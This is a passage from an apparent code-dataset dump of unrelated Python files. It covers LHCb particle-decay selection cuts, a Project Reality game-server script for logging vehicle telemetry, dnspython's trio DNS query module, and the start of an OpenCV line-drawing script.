_pil\n\n def _D02HHHHFilter( self , _decayDescriptors,_name):\n _combinationCut = \"(ADAMASS('D0') < %(Dto4h_AMassWin)s *MeV) & (APT > 1500.*MeV) & (ADOCACHI2CUT( %(DDocaChi2Max)s, ''))\" % self.__confdict__\n _daughtersCuts = { \"pi+\" : \" (PT > 250 *MeV) & (P>2.0*GeV)\"\\\n \"& (TRCHI2DOF < %(TRCHI2)s)\" % self.__confdict__}\n _motherCut = \" (ADMASS('D0') < %(Dto4h_MassWin)s *MeV) & (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (INTREE((ABSID=='pi+')& (PT > %(KPiPT)s *MeV) &(MIPCHI2DV(PRIMARY)> %(MINIPCHI2)s)))\" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _d02hhhh = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n DaughtersCuts = _daughtersCuts,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _d02hhhh\n\n\n def _Ds2HMuMuFilter( self , _decayDescriptors, _name):\n _combinationCut = \"(DAMASS('D_s+') < %(DsAMassWin)s *MeV) & (DAMASS('D+')> -%(DsAMassWin)s *MeV)\"\\\n \"& (ACHILD(PT,1)+ACHILD(PT,2)+ACHILD(PT,3) > 1800.*MeV) & (ADOCACHI2CUT( %(DDocaChi2Max)s, ''))\" % self.__confdict__\n _motherCut = \"(SUMTREE( PT, ISBASIC )>1800.*MeV) &(DMASS('D_s+') < %(DsMassWin)s *MeV) & (DMASS('D+') > -%(DsMassWin)s *MeV)\"\\\n \"& (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _ds2hmumu = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _ds2hmumu\n \n def _Ds2KsHFilter( self , _decayDescriptors, _name):\n _combinationCut = \"(DAMASS('D_s+') < %(DsAMassWin)s *MeV) & (DAMASS('D+')> -%(DsAMassWin)s *MeV)\"\\\n \"& (ACHILD(PT,1)+ACHILD(PT,2) > 1500.*MeV)\" \\\n \"& (ADOCACHI2CUT( %(DDocaChi2Max)s, ''))\" % self.__confdict__\n _motherCut = \"(SUMTREE( PT, ISBASIC )>1500.*MeV) &(DMASS('D_s+') < %(DsMassWin)s *MeV) & (DMASS('D+') > -%(DsMassWin)s *MeV)\"\\\n \"& (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _ds2ksh = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _ds2ksh\n\n \n def _D02KsHHFilter( self , _decayDescriptors, _name):\n _combinationCut = \"(ADAMASS('D0') < %(DsAMassWin)s *MeV) & (ACHILD(PT,1)+ACHILD(PT,2) > 1800.*MeV)\"\\\n \"& (ADOCACHI2CUT( %(DDocaChi2Max)s, ''))\" % self.__confdict__\n _motherCut = \"(SUMTREE( PT, ISBASIC )>1800.*MeV) &(ADMASS('D0') < %(DsMassWin)s *MeV) & (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _d02KsHH = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _d02KsHH\n\n\n def _D02KsKsFilter( self , _decayDescriptors, _name):\n \n _combinationCut = \"(ADAMASS('D0') < %(DsAMassWin)s *MeV) & (ACHILD(PT,1)+ACHILD(PT,2) > 1800.*MeV)\"\\\n \"& (ADOCACHI2CUT( %(DDocaChi2Max)s, ''))\" % self.__confdict__\n _motherCut = \"(SUMTREE( PT, ISBASIC )>1800.*MeV) &(ADMASS('D0') < %(DsMassWin)s *MeV) & (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _d02KsKs = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _d02KsKs\n \n \n def _D02HHPi0Filter( self , _decayDescriptors, _name):\n _combinationCut = \"(ADAMASS('D0') < %(D02HHPi0AMassWin)s *MeV) \" \\\n \" & (APT> %(D02HHPi0PtCut)s *MeV)\" \\\n \" & (ADOCA(1,2) < %(D02HHPi0DocaCut)s)\" % self.__confdict__\n _motherCut = \"(ADMASS('D0') < %(D02HHPi0MassWin)s *MeV) \" \\\n \"& (SUMTREE( PT, ISBASIC )> %(D02HHPi0PtCut)s *MeV) \" \\\n \"& (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _d02HHPi0 = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut)\n return _d02HHPi0\n\n def _D02HHPi0FilterFIT( self , _decayDescriptors,_name):\n _combinationCut = \"(ADAMASS('D0') < %(D02HHPi0AMassWin)s *MeV) \" \\\n \" & (APT> %(D02HHPi0PtCut)s *MeV)\" \\\n \" & (ADOCA(1,2) < %(D02HHPi0DocaCut)s)\" % self.__confdict__\n _motherCut = \"(ADMASS('D0') < %(D02HHPi0MassWin)s *MeV) \" \\\n \"& (SUMTREE( PT, ISBASIC )> %(D02HHPi0PtCut)s *MeV) \" \\\n \"& (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _d02HHPi0 = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut)\n _d02HHPi0.addTool( OfflineVertexFitter )\n _d02HHPi0.VertexFitters.update( { \"\" : \"OfflineVertexFitter\"} )\n _d02HHPi0.OfflineVertexFitter.useResonanceVertex = False\n _d02HHPi0.ReFitPVs = True\n return _d02HHPi0\n\n def _Lc2L0HFilter( self , _decayDescriptors, _name):\n _combinationCut = \"(ADAMASS('Lambda_c+') < %(DsAMassWin)s *MeV) \" \\\n \" & (ADOCACHI2CUT( %(DDocaChi2Max)s, '')) \" \\\n \" & (ACHILD(PT,1)+ACHILD(PT,2) > 1800.*MeV)\" % self.__confdict__\n _motherCut = \"(ADMASS('Lambda_c+') < %(DsMassWin)s *MeV) \" \\\n \" & (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \" & (SUMTREE( PT, ISBASIC )>1800.*MeV) \" \\\n \" & (BPVVDCHI2 > %(DsFDCHI2)s) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _lambdac = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _lambdac\n\n\n def _Lc2pHHFilter( self , _decayDescriptors, _name):\n _daughtersCuts = { \"p+\" : \"(TRCHI2DOF < %(TRCHI2)s) & (PT > %(KPiPT)s *MeV) & (P>2.0*GeV)\"\\\n \"& (MIPCHI2DV(PRIMARY)> %(MINIPCHI2)s) & (PIDp> %(KaonPIDK)s) & (PIDp-PIDK>1.0e-10)\" % self.__confdict__ }\n _combinationCut = \"(ADAMASS('Lambda_c+') < %(DsAMassWin)s *MeV) & (ACHILD(PT,1)+ACHILD(PT,2)+ACHILD(PT,3) > 1800.*MeV)\"\\\n \"& (ADOCACHI2CUT( %(DDocaChi2Max)s, ''))\" % self.__confdict__\n _motherCut = \"(ADMASS('Lambda_c+') < %(DsMassWin)s *MeV) & (VFASPF(VCHI2/VDOF) < %(DsVCHI2DOF)s) \" \\\n \"& (BPVVDCHI2 > %(DsFDCHI2)s) & (SUMTREE( PT, ISBASIC )>1800.*MeV) & (BPVDIRA> %(DsDIRA)s)\" % self.__confdict__\n _lambdac = CombineParticles( name = _name,\n DecayDescriptors = _decayDescriptors,\n DaughtersCuts = _daughtersCuts,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut) \n return _lambdac\n \ndef makeDstar(_name, inputD0,Dstar_cuts) : \n \"\"\"\n Given a list of D0, try to make D*+ -> D0 pi+\n \"\"\"\n _softPi = DataOnDemand(Location = 'Phys/StdAllLoosePions/Particles')\n _cutsSoftPi = '( PIDe-PIDpi < %(Dstar_SoftPion_PIDe)s )' % Dstar_cuts\n _cutsDstarComb = \"ADAMASS('D*(2010)+') < %(Dstar_preFitMassCut)s *MeV\" % Dstar_cuts\n _cutsDstarMoth_base = '(PT > %(Dstar_SoftPion_PT)s * MeV) & (VFASPF(VCHI2/VDOF) < %(Dstar_Chi2)s )' % Dstar_cuts\n _cutsDstarMoth_DM = '(MM - CHILD(MM,1) - CHILD(MM,2) > %(Dstar_wideDMCutLower)s *MeV) & (MM - CHILD(MM,1) - CHILD(MM,2) < %(Dstar_wideDMCutUpper)s *MeV)' % Dstar_cuts\n _cutsDstarMoth = '(' + _cutsDstarMoth_base + ' & ' + _cutsDstarMoth_DM + ')'\n _Dstar = CombineParticles( name = _name,\n DecayDescriptor = \"[D*(2010)+ -> D0 pi+]cc\",\n DaughtersCuts = { \"pi+\" : _cutsSoftPi },\n CombinationCut = _cutsDstarComb,\n MotherCut = _cutsDstarMoth)\n return Selection (name = \"Sel\"+_name,Algorithm = _Dstar,RequiredSelections = inputD0 + [_softPi])\n\n \ndef makeb2DMuX(_name,\n DecayDescriptors,\n MuSel,\n DSel,\n BCuts):\n _combinationCut = \"(AM<6.2*GeV)\"\n _motherCut = \" (MM<6.0*GeV) & (MM>2.5*GeV) & (VFASPF(VCHI2/VDOF)< %(BVCHI2DOF)s) & (BPVDIRA> %(BDIRA)s) \" \\\n \"& (MINTREE(((ABSID=='D+') | (ABSID=='D0') | (ABSID=='Lambda_c+')) , VFASPF(VZ))-VFASPF(VZ) > %(DZ)s *mm ) \" % BCuts\n _B = CombineParticles(name = _name,DecayDescriptors = DecayDescriptors,\n CombinationCut = _combinationCut,\n MotherCut = _motherCut)\n return Selection (name = \"Sel\"+_name,\n Algorithm = _B,\n RequiredSelections = [MuSel, DSel])\n\ndef TOSFilter( name = None, sel = None, trigger = None ):\n \"\"\"\n Function to return a selection object, filtering for TOS candidates from input selection\n \"\"\"\n from Configurables import TisTosParticleTagger\n \n _filter = TisTosParticleTagger(name+\"_TriggerTos\")\n _filter.TisTosSpecs = { trigger+\"%TOS\" : 0 }\n _filter.NoRegex = True\n \n _sel = Selection(\"Sel\" + name + \"_TriggerTos\", RequiredSelections = [ sel ], Algorithm = _filter )\n return _sel\n\n\n\n","sub_path":"DaVinciDev_v38r1p1/Phys/StrippingArchive/python/StrippingArchive/Stripping19c/StrippingCharmFromBSemi.py","file_name":"StrippingCharmFromBSemi.py","file_ext":"py","file_size_in_byte":67332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"51194236","text":"# --------------------------------------------------------------------------\n# Project Reality prinfo by rpoxo\n#\n# ~ prinfo.py\n#\n# Description:\n# displays data about vehicle\n#\n# -------------------------------------------------------------------------\n\nimport os\nimport datetime\n\n# workaround for importing outside bf2\nimport externals\nfrom externals import bf2 as bf2\nfrom externals import host as host\nfrom externals import radmin as radmin\nfrom externals import rtimer as rtimer\n\nfrom math3d import Point3d\n\n# ------------------------------------------------------------------------\n# Init\n# ------------------------------------------------------------------------\ndef init():\n WatchVehicle.init()\n\ndef deinit():\n WatchVehicle.deinit()\n\nclass WatchVehicle:\n reporting = False\n reporting_mode = None\n\n logging = False\n logging_fo = None\n\n timer = None\n\n vehicle = None\n vehicle_lastposition = (0.0, 0.0, 0.0)\n vehicle_lastrotation = (0.0, 0.0, 0.0)\n vehicle_lasttime = 0.0\n\n @classmethod\n def init(cls):\n host.registerHandler('EnterVehicle', cls.onEnterVehicle)\n host.registerHandler('ExitVehicle', cls.onExitVehicle)\n\n radmin.addCommand(\"watch\", cls.switchReporting, 777)\n radmin.addCommand(\"position\", cls.switchReportPosition, 777)\n radmin.addCommand(\"rotation\", cls.switchReportRotation, 777)\n radmin.addCommand(\"speed\", cls.switchReportSpeed, 777)\n #radmin.addCommand(\"aoa\", cls.switchReportAngleOfAttack, 777)\n\n radmin.addCommand(\"log\", cls.switchLogging, 777)\n \n @classmethod\n def deinit(cls):\n if cls.logging_fo: cls.logging_fo.close()\n # let bf2 deal with destroying handlers\n \n @classmethod\n def switchReporting(cls, args, player):\n if cls.reporting: cls._disableReporting()\n else: cls._enableReporting(player.getVehicle())\n \n @classmethod\n def switchLogging(cls, args, player):\n if cls.logging: cls._disableLogging()\n else: cls._enableLogging(player.getVehicle())\n \n @classmethod\n def switchReportPosition(cls, args, player):\n cls.reporting_mode = 'position'\n if not cls.reporting: cls.switchReporting(args, player)\n \n @classmethod\n def switchReportRotation(cls, args, player):\n cls.reporting_mode = 'rotation'\n if not cls.reporting: cls.switchReporting(args, player)\n \n @classmethod\n def switchReportSpeed(cls, args, player):\n cls.reporting_mode = 'speed'\n if not cls.reporting: cls.switchReporting(args, player)\n \n @classmethod\n def switchReportAngleOfAttack(cls, args, player):\n cls.reporting_mode = 'aoa'\n if not cls.reporting: cls.switchReporting(args, player)\n\n @classmethod\n def onEnterVehicle(cls, player, vehicle, freeSoldier=False):\n cls.vehicle = vehicle\n debugIngame('%s entered %s' % (player.getName(), vehicle.templateName))\n\n @classmethod\n def onExitVehicle(cls, player, vehicle):\n if cls.reporting: cls._disableReporting()\n if cls.logging: cls._disableLogging()\n debugIngame('%s exited %s' % (player.getName(), vehicle.templateName))\n\n @classmethod\n def _enableTimer(cls):\n debugIngame('Enabling timer...')\n cls.timer = rtimer.Timer(cls._tick, -1, 1)\n cls.timer.setRecurring(0.1) # no need to have it faster than 0.03 as ingame printouts will get buffered\n \n @classmethod\n def _disableTimer(cls):\n debugIngame('Disabling timer...')\n if cls.timer:\n cls.timer.destroy()\n cls.timer = None\n elif cls.timer is None:\n debugIngame('Timer already doesnt exist')\n else:\n debugIngame('Could not destroy timer')\n\n @classmethod\n def _enableReporting(cls, vehicle):\n debugIngame('Enabling reporting...')\n cls.reporting = True\n if not cls.timer: cls._enableTimer()\n if vehicle is not None: cls.vehicle = vehicle\n \n @classmethod\n def _disableReporting(cls):\n debugIngame('Disabling reporting...')\n cls.reporting = False\n cls.reporting_mode = None\n if cls.timer: cls._disableTimer()\n if cls.vehicle: cls.vehicle = None\n\n @classmethod\n def _enableLogging(cls, vehicle):\n debugIngame('Enabling logging...')\n\n cls.logging = True\n\n filename = os.path.join(host.sgl_getModDirectory(), 'Logs', 'prinfo_' + datetime.datetime.now().strftime(\"%Y%m%d_%H_%M\") + '.log')\n if vehicle:\n filename = os.path.join(host.sgl_getModDirectory(), 'Logs', 'prinfo_' + datetime.datetime.now().strftime(\"%Y%m%d_%H_%M_\") + vehicle.templateName + '.log')\n cls.logging_fo = open(filename, 'w')\n debugIngame('Log path is %s' % os.path.abspath(filename))\n\n cls._enableTimer()\n if vehicle is not None:\n cls.vehicle = vehicle\n \n @classmethod\n def _disableLogging(cls):\n debugIngame('Disabling reporting...')\n cls.logging = False\n cls.logging_fo.close()\n \n @classmethod\n def _tick(cls, data):\n if not cls.reporting and not cls.logging: return\n if not cls.vehicle: return\n\n epoch = host.timer_getWallTime()\n position = cls.vehicle.getPosition()\n rotation = cls.vehicle.getRotation()\n\n if cls.reporting_mode == 'position':\n cls._position(cls.vehicle, epoch, Point3d(*position))\n elif cls.reporting_mode == 'rotation':\n cls._rotation(cls.vehicle, epoch, rotation)\n elif cls.reporting_mode == 'speed':\n delta = epoch - cls.vehicle_lasttime\n cls._speed(cls.vehicle, epoch, delta, Point3d(*position), Point3d(*cls.vehicle_lastposition))\n elif cls.reporting_mode == 'aoa':\n #cls._aoa(cls.vehicle, epoch, Point3d(*position), Point3d(*cls.vehicle_lastposition))\n pass\n elif cls.reporting_mode == None and cls.reporting:\n debugIngame('cls.reporting_mode: %s' % cls.reporting_mode)\n debugIngame('pos_last: (%f, %f, %f)' % (cls.vehicle_lastposition[0], cls.vehicle_lastposition[1], cls.vehicle_lastposition[2]))\n debugIngame('pos_curr: (%f, %f, %f)' % (position[0], position[1], position[2]))\n debugIngame('epoch_last: %f' % cls.vehicle_lasttime)\n debugIngame('epoch_curr: %f' % epoch)\n\n if cls.logging:\n msg = 'position: %s\\nrotation: %s\\nepoch: %s\\n' % (position, rotation, epoch)\n cls._log(cls.logging_fo, msg)\n \n cls.vehicle_lastposition = position\n cls.vehicle_lastrotation = rotation\n cls.vehicle_lasttime = epoch\n \n @classmethod\n def _position(cls, vehicle, epoch, position):\n debugIngame('%s @%.3f position:(%.3f, %.3f, %.3f)' % (vehicle.templateName, epoch, position.x, position.y, position.z))\n \n @classmethod\n def _rotation(cls, vehicle, epoch, rotation):\n debugIngame('%s @%.3f rotation:(%.3f, %.3f, %.3f)' % (vehicle.templateName, epoch, rotation[0], rotation[1], rotation[2]))\n\n @classmethod\n def _speed(cls, vehicle, epoch, delta, current, last):\n distance = Point3d.Distance(current, last)\n speed = distance / delta\n debugIngame('%s @%.3f for %.3f: %.4f' % (vehicle.templateName, epoch, delta, speed))\n \n # TODO: this is bullshit tbh\n @classmethod\n def _aoa(cls, vehicle, epoch, v1, v2):\n raise NotImplementedError\n \n @classmethod\n def _log(cls, fo, msg):\n fo.write(msg)\n\ndef debugMessage(msg):\n host.rcon_invoke('echo \"%s\"' % (str(msg)))\n\ndef debugIngame(msg):\n #debugMessage(msg)\n try:\n host.rcon_invoke('game.sayAll \"%s\"' % (str(msg)))\n except:\n host.rcon_invoke('echo \"debugIngame(FAIL): %s\"' % (str(msg)))\n\n\n","sub_path":"prinfo.py","file_name":"prinfo.py","file_ext":"py","file_size_in_byte":7791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"76301832","text":"# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license\n\n\"\"\"trio async I/O library query support\"\"\"\n\nimport contextlib\nimport socket\nimport struct\nimport time\nimport trio\nimport trio.socket # type: ignore\n\nimport dns.exception\nimport dns.inet\nimport dns.name\nimport dns.message\nimport dns.query\nimport dns.rcode\nimport dns.rdataclass\nimport dns.rdatatype\n\n# import query symbols for compatibility and brevity\nfrom dns.query import ssl, UnexpectedSource, BadResponse\n\n# Function used to create a socket. Can be overridden if needed in special\n# situations.\nsocket_factory = trio.socket.socket\n\nasync def send_udp(sock, what, destination):\n \"\"\"Asynchronously send a DNS message to the specified UDP socket.\n\n *sock*, a ``trio.socket.socket``.\n\n *what*, a ``bytes`` or ``dns.message.Message``, the message to send.\n\n *destination*, a destination tuple appropriate for the address family\n of the socket, specifying where to send the query.\n\n Returns an ``(int, float)`` tuple of bytes sent and the sent time.\n \"\"\"\n\n if isinstance(what, dns.message.Message):\n what = what.to_wire()\n sent_time = time.time()\n n = await sock.sendto(what, destination)\n return (n, sent_time)\n\n\nasync def receive_udp(sock, destination, ignore_unexpected=False,\n one_rr_per_rrset=False, keyring=None, request_mac=b'',\n ignore_trailing=False, raise_on_truncation=False):\n \"\"\"Asynchronously read a DNS message from a UDP socket.\n\n *sock*, a ``trio.socket.socket``.\n\n *destination*, a destination tuple appropriate for the address family\n of the socket, specifying where the associated query was sent.\n\n *ignore_unexpected*, a ``bool``. If ``True``, ignore responses from\n unexpected sources.\n\n *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own\n RRset.\n\n *keyring*, a ``dict``, the keyring to use for TSIG.\n\n *request_mac*, a ``bytes``, the MAC of the request (for TSIG).\n\n *ignore_trailing*, a ``bool``. If ``True``, ignore trailing\n junk at end of the received message.\n\n *raise_on_truncation*, a ``bool``. If ``True``, raise an exception if\n the TC bit is set.\n\n Raises if the message is malformed, if network errors occur, of if\n there is a timeout.\n\n Returns a ``dns.message.Message`` object.\n \"\"\"\n\n wire = b''\n while True:\n (wire, from_address) = await sock.recvfrom(65535)\n if dns.query._addresses_equal(sock.family, from_address,\n destination) or \\\n (dns.inet.is_multicast(destination[0]) and\n from_address[1:] == destination[1:]):\n break\n if not ignore_unexpected:\n raise UnexpectedSource('got a response from '\n '%s instead of %s' % (from_address,\n destination))\n received_time = time.time()\n r = dns.message.from_wire(wire, keyring=keyring, request_mac=request_mac,\n one_rr_per_rrset=one_rr_per_rrset,\n ignore_trailing=ignore_trailing,\n raise_on_truncation=raise_on_truncation)\n return (r, received_time)\n\nasync def udp(q, where, port=53, source=None, source_port=0,\n ignore_unexpected=False, one_rr_per_rrset=False,\n ignore_trailing=False, raise_on_truncation=False,\n sock=None):\n \"\"\"Asynchronously return the response obtained after sending a query\n via UDP.\n\n *q*, a ``dns.message.Message``, the query to send\n\n *where*, a ``str`` containing an IPv4 or IPv6 address, where\n to send the message.\n\n *port*, an ``int``, the port send the message to. The default is 53.\n\n *source*, a ``str`` containing an IPv4 or IPv6 address, specifying\n the source address. The default is the wildcard address.\n\n *source_port*, an ``int``, the port from which to send the message.\n The default is 0.\n\n *ignore_unexpected*, a ``bool``. If ``True``, ignore responses from\n unexpected sources.\n\n *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own\n RRset.\n\n *ignore_trailing*, a ``bool``. If ``True``, ignore trailing\n junk at end of the received message.\n\n *raise_on_truncation*, a ``bool``. If ``True``, raise an exception if\n the TC bit is set.\n\n *sock*, a ``trio.socket.socket``, or ``None``, the socket to use\n for the query. If ``None``, the default, a socket is created. if\n a socket is provided, the *source* and *source_port* are ignored.\n\n Returns a ``dns.message.Message``.\n\n \"\"\"\n\n wire = q.to_wire()\n (af, destination, source) = \\\n dns.query._destination_and_source(None, where, port, source,\n source_port)\n # We can use an ExitStack here as exiting a trio.socket.socket does\n # not await.\n with contextlib.ExitStack() as stack:\n if sock:\n s = sock\n else:\n s = stack.enter_context(socket_factory(af, socket.SOCK_DGRAM, 0))\n if source is not None:\n await s.bind(source)\n (_, sent_time) = await send_udp(s, wire, destination)\n (r, received_time) = await receive_udp(s, destination,\n ignore_unexpected,\n one_rr_per_rrset, q.keyring,\n q.mac, ignore_trailing,\n raise_on_truncation)\n if not q.is_response(r):\n raise BadResponse\n r.time = received_time - sent_time\n return r\n\nasync def udp_with_fallback(q, where, timeout=None, port=53, source=None,\n source_port=0, ignore_unexpected=False,\n one_rr_per_rrset=False, ignore_trailing=False):\n \"\"\"Return the response to the query, trying UDP first and falling back\n to TCP if UDP results in a truncated response.\n\n *q*, a ``dns.message.Message``, the query to send\n\n *where*, a ``str`` containing an IPv4 or IPv6 address, where\n to send the message.\n\n *port*, an ``int``, the port send the message to. The default is 53.\n\n *source*, a ``str`` containing an IPv4 or IPv6 address, specifying\n the source address. The default is the wildcard address.\n\n *source_port*, an ``int``, the port from which to send the message.\n The default is 0.\n\n *ignore_unexpected*, a ``bool``. If ``True``, ignore responses from\n unexpected sources.\n\n *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own\n RRset.\n\n *ignore_trailing*, a ``bool``. If ``True``, ignore trailing\n junk at end of the received message.\n\n Returns a (``dns.message.Message``, tcp) tuple where tcp is ``True``\n if and only if TCP was used.\n \"\"\"\n try:\n response = await udp(q, where, port, source, source_port,\n ignore_unexpected, one_rr_per_rrset,\n ignore_trailing, True)\n return (response, False)\n except dns.message.Truncated:\n response = await stream(q, where, False, port, source, source_port,\n one_rr_per_rrset, ignore_trailing)\n\n return (response, True)\n\n# pylint: disable=redefined-outer-name\n\nasync def send_stream(stream, what):\n \"\"\"Asynchronously send a DNS message to the specified stream.\n\n *stream*, a ``trio.abc.Stream``.\n\n *what*, a ``bytes`` or ``dns.message.Message``, the message to send.\n\n Returns an ``(int, float)`` tuple of bytes sent and the sent time.\n \"\"\"\n\n if isinstance(what, dns.message.Message):\n what = what.to_wire()\n l = len(what)\n # copying the wire into tcpmsg is inefficient, but lets us\n # avoid writev() or doing a short write that would get pushed\n # onto the net\n stream_message = struct.pack(\"!H\", l) + what\n sent_time = time.time()\n await stream.send_all(stream_message)\n return (len(stream_message), sent_time)\n\nasync def read_exactly(stream, count):\n \"\"\"Read the specified number of bytes from stream. Keep trying until we\n either get the desired amount, or we hit EOF.\n \"\"\"\n s = b''\n while count > 0:\n n = await stream.receive_some(count)\n if n == b'':\n raise EOFError\n count = count - len(n)\n s = s + n\n return s\n\nasync def receive_stream(stream, one_rr_per_rrset=False, keyring=None,\n request_mac=b'', ignore_trailing=False):\n \"\"\"Read a DNS message from a stream.\n\n *stream*, a ``trio.abc.Stream``.\n\n *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own\n RRset.\n\n *keyring*, a ``dict``, the keyring to use for TSIG.\n\n *request_mac*, a ``bytes``, the MAC of the request (for TSIG).\n\n *ignore_trailing*, a ``bool``. If ``True``, ignore trailing\n junk at end of the received message.\n\n Raises if the message is malformed, if network errors occur, of if\n there is a timeout.\n\n Returns a ``dns.message.Message`` object.\n \"\"\"\n\n ldata = await read_exactly(stream, 2)\n (l,) = struct.unpack(\"!H\", ldata)\n wire = await read_exactly(stream, l)\n received_time = time.time()\n r = dns.message.from_wire(wire, keyring=keyring, request_mac=request_mac,\n one_rr_per_rrset=one_rr_per_rrset,\n ignore_trailing=ignore_trailing)\n return (r, received_time)\n\nasync def stream(q, where, tls=False, port=None, source=None, source_port=0,\n one_rr_per_rrset=False, ignore_trailing=False,\n stream=None, ssl_context=None, server_hostname=None):\n \"\"\"Return the response obtained after sending a query using TCP or TLS.\n\n *q*, a ``dns.message.Message``, the query to send.\n\n *where*, a ``str`` containing an IPv4 or IPv6 address, where\n to send the message.\n\n *tls*, a ``bool``. If ``False``, the default, the query will be\n sent using TCP and *port* will default to 53. If ``True``, the\n query is sent using TLS, and *port* will default to 853.\n\n *port*, an ``int``, the port send the message to. The default is as\n specified in the description for *tls*.\n\n *source*, a ``str`` containing an IPv4 or IPv6 address, specifying\n the source address. The default is the wildcard address.\n\n *source_port*, an ``int``, the port from which to send the message.\n The default is 0.\n\n *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own\n RRset.\n\n *ignore_trailing*, a ``bool``. If ``True``, ignore trailing\n junk at end of the received message.\n\n *stream*, a ``trio.abc.Stream``, or ``None``, the stream to use for\n the query. If ``None``, the default, a stream is created. if a\n socket is provided, it must be connected, and the *where*, *port*,\n *tls*, *source*, *source_port*, *ssl_context*, and\n *server_hostname* parameters are ignored.\n\n *ssl_context*, an ``ssl.SSLContext``, the context to use when establishing\n a TLS connection. If ``None``, the default, creates one with the default\n configuration. If this value is not ``None``, then the *tls* parameter\n is treated as if it were ``True`` regardless of its value.\n\n *server_hostname*, a ``str`` containing the server's hostname. The\n default is ``None``, which means that no hostname is known, and if an\n SSL context is created, hostname checking will be disabled.\n\n Returns a ``dns.message.Message``.\n\n \"\"\"\n if ssl_context is not None:\n tls = True\n if port is None:\n if tls:\n port = 853\n else:\n port = 53\n wire = q.to_wire()\n # We'd like to be able to use an AsyncExitStack here, because\n # unlike closing a socket, closing a stream requires an await, but\n # that's a 3.7 feature, so we are forced to try ... finally.\n sock = None\n s = None\n begin_time = time.time()\n try:\n if stream:\n #\n # Verify that the socket is connected, as if it's not connected,\n # it's not writable, and the polling in send_tcp() will time out or\n # hang forever.\n if isinstance(stream, trio.SSLStream):\n tsock = stream.transport_stream.socket\n else:\n tsock = stream.socket\n tsock.getpeername()\n s = stream\n else:\n (af, destination, source) = \\\n dns.query._destination_and_source(None, where, port, source,\n source_port)\n sock = socket_factory(af, socket.SOCK_STREAM, 0)\n if source is not None:\n await sock.bind(source)\n await sock.connect(destination)\n s = trio.SocketStream(sock)\n sock = None\n if tls and ssl_context is None:\n ssl_context = ssl.create_default_context()\n if server_hostname is None:\n ssl_context.check_hostname = False\n if ssl_context:\n s = trio.SSLStream(s, ssl_context,\n server_hostname=server_hostname)\n await send_stream(s, wire)\n (r, received_time) = await receive_stream(s, one_rr_per_rrset,\n q.keyring, q.mac,\n ignore_trailing)\n if not q.is_response(r):\n raise BadResponse\n r.time = received_time - begin_time\n return r\n finally:\n if sock:\n sock.close()\n if s and s != stream:\n await s.aclose()\n","sub_path":"dns/trio/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":13718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"383753535","text":"# Import numpy and cv2 package\nimport cv2\nimport numpy as np\n\n#create a white image(square box) of dimension 250X250\nimg= np.ones((250,250), dtype=np.uint8)*255\n\n#Make square boxes of 50X50\ncv2.line(img,(0,50),(250,50),0,1)\ncv2.line(img,(0,100),(250,100),0,1)\ncv2.line(img,(0,150),(250,150),0,1)\ncv2.line(img,(0,200),(250,200),0,1)\n\ncv2.line(img,(50,0),(50,250),0,1)\ncv2.line(img,(100,0),(100,250),0,1)\ncv2.line(img,(150,0),(150,250),0,1)\ncv2.line(img,(200,0),(200,250),0,1)\n\n#draw lines of 45 degrees on lower half of square\ncv2.line(img,(0,0),(250,250),0,1)\ncv2.line(img,(0,50),(200,250),0,1)\ncv2.line(img,(0,100),(150,250),0,1)\ncv2.line(img,(0,150),(100,250),0,1)\n\n#Display the original image\ncv2.imshow('Image',img)\n\n# kernel we are using to detect 45 degree 